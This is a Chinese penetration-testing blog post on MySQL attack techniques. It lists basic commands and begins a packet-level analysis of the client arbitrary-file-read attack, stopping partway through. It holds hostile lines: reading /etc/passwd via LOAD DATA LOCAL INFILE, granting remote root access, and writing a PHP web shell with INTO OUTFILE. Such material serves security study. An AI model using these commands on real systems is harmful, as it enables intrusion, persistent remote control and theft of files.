【重磅!】Mysql 数据库攻击面

Mysql数据库在无论是在渗透测试还是正常使用都是比较常见的数据库,在十一假期期间总结梳理了mysql近些年的常见攻击利用方法,通过自己的实践分析也有了更深刻的认识,希望能对大家有帮助,这里分享给大家。
0x01 简单介绍MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。
MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
0x02 基础指令在mysql的正常使用中以及mysql数据库攻击利用时,以下指令最常用,总结梳理如下
0x1 创建 create database hehe;//创建数据库 CREATE TABLE IF NOT EXISTS `runoob_tbl`( `runoob_id` INT UNSIGNED AUTO_INCREMENT, `runoob_title` VARCHAR(100) NOT NULL, `runoob_author` VARCHAR(40) NOT NULL, `submission_date` DATE, PRIMARY KEY ( `runoob_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;//创建数据表 0x2 查看 show databases; show tables; show variables like '%secure%'; //查看安全属性 LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';//读取客户端文件 0x3 更新添加用户及权限 CREATE USER 'username'@'host' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; DROP USER 'username'@'host'; flush privileges; 0x4 文件读写 SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result; select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa"; 0x03 攻击面分析 0x1 Mysql 客户端任意文件读适用范围: 全版本 MySQL/MariaDB Client
条件:客户端连接时开启 –enable-local-infile
从结果上来看,客户端读取了自身指定的数据,抓取数据包分析整个流程。
1. Client Send 3306
192.168.0.114 是SqlServer 192.168.0.115为客户端
2. Server Send Greeting packet
服务端返回一个server端基础信息表包含版本,协议类型,salt值,server 功能项
这里有一个server 功能表
3. Client Auth and Send capability
这个包可以说是客户端的登录包,包含用户名,密码,还有一份客户端能力表。